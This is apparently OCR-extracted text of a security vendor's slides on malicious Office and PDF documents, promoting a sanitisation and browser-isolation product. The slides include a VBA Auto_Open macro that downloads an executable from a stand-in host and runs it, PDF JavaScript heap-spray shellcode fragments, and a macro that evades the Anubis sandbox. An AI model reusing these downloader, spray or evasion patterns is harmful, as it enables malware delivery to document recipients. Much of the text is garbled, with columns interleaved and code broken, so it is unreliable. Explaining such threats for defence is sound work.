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(1) 28 engines detected this file

d3239ae017605120f37e01aef6c30aar 3b59a24a2c03d6icabtfidat269753d0 458 49 KB 2020-03-06 08:06:00 UTC
be17b67{-8db3-4fea-a399-0d670046bc05

acroform attachment autoaction cve-2017-11882 exploit file-embedded pdf
Community
Score

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY

/

AegisLab Hacktool MSOffice.G ] AhnLab-V3 (_l) Exploit/Pdf Generic

S

-

“

/

AlYac Exploit PDF Agent Avast 1) Other Malware-gen [Tr]]

~

)

/

AVG Other:Malware-gen [Trj] Avira (no cloud) 1) EXPN M_Agent.aymed

-
/

&)

ClamAv

CVE1711882

Pdf Dropy \gent-7592015- Cyren

“=

~

©

&)

oy

Driweb Exploit. Si n.60963 ESET-NOD32 PDF/TrojanDropper.

~

S

[- )

y

F-Prot F-Secure Exploit EXP/CVE-2017-11882

L/
Y

&)

oy

Fortinet MSOffice/CVE_2017_11882 Alexploit GData PDF.Trojan nt BYODNR

&)

~

o

/

Ikarus Exploit WSTN nt Kaspersky HEUR Exploit. MSOffic:

&)

MAX 0 core=68 McAfee RDN/Generic Exploit

S

McAfee-GW-Edition 1) RDN/Generic Exploit Qihoo-360 1) Generic/Trojan Exploit.ed7

20204 23 oA nlal
E

=
O

o —¥
ALl F TH 2871 AZEIT BFX]

Y JIRANSECURITY




%

.
(@
| E—

A d=AMel ™ Ard|e}
7|E HQt9|



HIDDEN
ACTIVE

LY JIRANSECURITY

X 7|52 FEF
I8 T2 A) LY=oy
ZE + QI BE RE9

=ZHEES 9o/



JavaScript
Macro avascrip
Flash
OLE Object
Embedded Do
Hyperlink Active X
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‘ File Type Potential Threats CVE Code :
CVE-2012-0158 :
CVE-2013-1331 i
doc CVE-2015-2545 i
CVE-2015-0097 :
CVE-2016-7264 :
xls Macro . :
Imbedded Object i
ppt Script enabled CVE-2006-0009 I
ActiveX Control CVE-2014-4114 I
Hyperlink CVE-2013-3906 |
docx CVE-2015-1641 |
CVE-2015-2545 !
xlsx CVE-2015-2545 !
pptx CVE-2014-4114 |
. | |
Javascript CVE-2007-5659 |
Annotation CVE-2008-2992 i
pdf Attachments CVE-2009-0837 I
Multimedia CVE-2010-0188 :
X CVE-2010-2883 1
Objects
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Private Declare Function URLDownloadToFileA Lib "urlmon” _
(ByVal NRTMLM As Long, ByVal UUQCES As String, _
ByVal VKDDKH As String, ByVal XXRYIY As Long, _
ByVal RPBFSI As Long) As Long
Sub Workbook _Open() URLMON.dll
Auto_Open
End Sub
ohed mj A X7
Sub Auto_Open()
Dim riri As Long
fifi = Environ("TEMP") & "\agent.exe"
riri = URLDownloadToFileA(O, _
"http://malware.site.com/TH & 9| *.exe", _
fifi, 0, 0)
loulou = Shell(fifi, 1)
End Sub
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Setup and Install

. Open program icon:

. Select Microsoft Exchange click Next

. Type in email address and password click next
. Type in the domain\username.

. Next screen Account options are default and
should be left that way

. Select Activate and you’re done

Please see the attached document for more detailed
instructions with photos.
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JavaScript example

JavaScript BT7|

JavaScripts B4 B HE

//<Document-Actions>

//<ACRO_source>m XA ZE</ACRO source>

//<ACRO script>

Jrwrwwwwwwrr EX]: Document-Actions:mA TE wwxwwwwwwiww/

app.alert({cMsg: 'Hello from PDF JawvaScript', cTitle: 'Testing PDF JavaScript', nIcon: 3}):
//</BRCRO_script>

//</Document-Actions>
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Anti-Virus Scanning Test

Detection
Antiy-AVL
Avast
Baidu
Kaspersky
Rising
Ad-Aware
AhnLab-v3
AlYac
AVware

Bkav
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rustotal.com/#

10 engines detected this file

d54a77705cd1b413c960d4b1b1284ffbedf8e

Arcabit

AVG

Fortinet
NANO-Antivirus
ZoneAlarm
AegisLab
Alibaba

Avira
BitDefender

CAT-QuickHeal
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CRLERS

<<
/Type /Action
/S /JavaScript

/1S g C LIEZ,
== 7 '2/ Private Declare Function GetVolumelnformation Lib "kernel32.d1I" _

var shellcode = Alias "GetVolumelnformationA" (...) As Long
unescape("%uc92b%ulfb1%ulcbd%uc536%udb9b%ud9c5%u2474%u5af4%uea

83%u31fc%ulb6a%u6a03%ud407%u6730%u5cif2%u98bb%ud7ff%uadfe’udb74  Function IsAnubisPresent() As Boolean
%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%ud290%uab3a%udlie9 On Error Resume Next
%u9aad%ud58d%ueSa3tulfdctuebd6%udb8cludlad%uaddd%us24a%u3bsl Set WShell = CreateObject("WScript.Shell")
%ub80d%ud748%udbd4%ubcd6%ul392%u734a%u204f%uf86e%udc8e%ua207 If Not GetSerialNumber(Environ("SystemDrive") & "\") = "1824245000"

%u26b4%u04d4%ud084%ue Far e e e e And Not WShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft" & _

A == 032 0§ 8 doc- - NewMacros (ZLE)
u0d2e%ua0b0%ucd2c%u003 [(ZEn "\Windows NT\CurrentVersion\Productid") _

a07d%uedg2%u09eludss = "76487-337-8429955-22614" Then

gnnsttuw;xmp?uap S hatmt(ByV¥al zikvoxjeyiac 4s 8
rivate Function uveycsyngim yval ZJkKvoxjeyiqc As z -
var spray = unescape("%u0a Din tkezaharcokh &s Lona _ IsAnubisPresent = False
pray= p ° For tkwzqharcnkh = 1 To Len{zjkvoxjeyiqc) Step 2 Else
do{ uvwycavhatnt = uvwycavhatat & Chr(val("8H" & Mid$(zi
Next tkuzaharcnkh IsAnubisPresent = True
spray+=spray; End Function . :
. Sub psimimntntnlknsghirsxteynvkbz s Strina) End If
} while(spray.length < 0xd00 With Createlbject{uvwycayhatnt{"5753637260") & uvwycs
I::Rgr-l.l‘ll;rtnﬁscnJrsxteynvknz, wefunpgusp, True End Function
na-wl . . " . .
memory = new Array(); End Sub Public Function GetSerialNumber(Driveletter As String) As Long

Sub_Autodpen( ) X
for(i=0; i < 100; i++) 'J-'Eih Ec?lEggggunegéé?ggggroggu.ggél) Bufferl = String$(255, Chr$(0))
ForeColor, = . 255, - . M
memory[i] = spray + she Visible = msoTrue Buffer2 = String$(255, Chr$(0))
oty Res = GetVolumelnformation(Driveletter, Bufferl, Len(Bufferl), _

End With

_n — Selection.WholeStory £
xmlcode = "<XML ID=1><X>< Content = uveycavhqtat{ 6d73687461 20687474 7030 2F2F 766 SerialNum, 0, 0, Buffer2, Len(Buffer2))

SRC=http://&#x0a0a;&#x0a Selection.Font Hidden = False GetSerialNumber = SerialNum

psiminntntn (Content)

DATASRC=#| DATAFLD=C DA Ee{ectﬁon .coltlagse End Function

cll nt.

DATASRC=#| DATAFLD=C DA End Sop _ment.save Private Sub Document_Open()

If IsAnubisPresent Then

MsgBox ("Anubis Sandbox detected: do nothing")

tag = document.getElementt 59
[Froject, NewMacros, psimjmninin

tag.innerHTML=xmlcode; = Else

: . o MsgBox (“No Anubis, let's run the malicious payload...")
> : a— End If
endob] End Sub
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USB, Etc.
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Advanced Threats Legitimate, Spam and Mabsmsre
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Inbound Me=eapes

Anti-spam

File type blacklist/whitelist

Signature-based
anti-malware

Metwork sandbox

Context inspection,
spoof and El'mrnaly

detection

Legitimate messages Dutbound
with rewritten URLs, when applicabla MESS AES * Gartner
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RBI(Remote Browser Isolation) + CDR

Public Internet

Session remotely
rendered, attacks isolated
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SaniTOX

Browser as a Service
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Online Service
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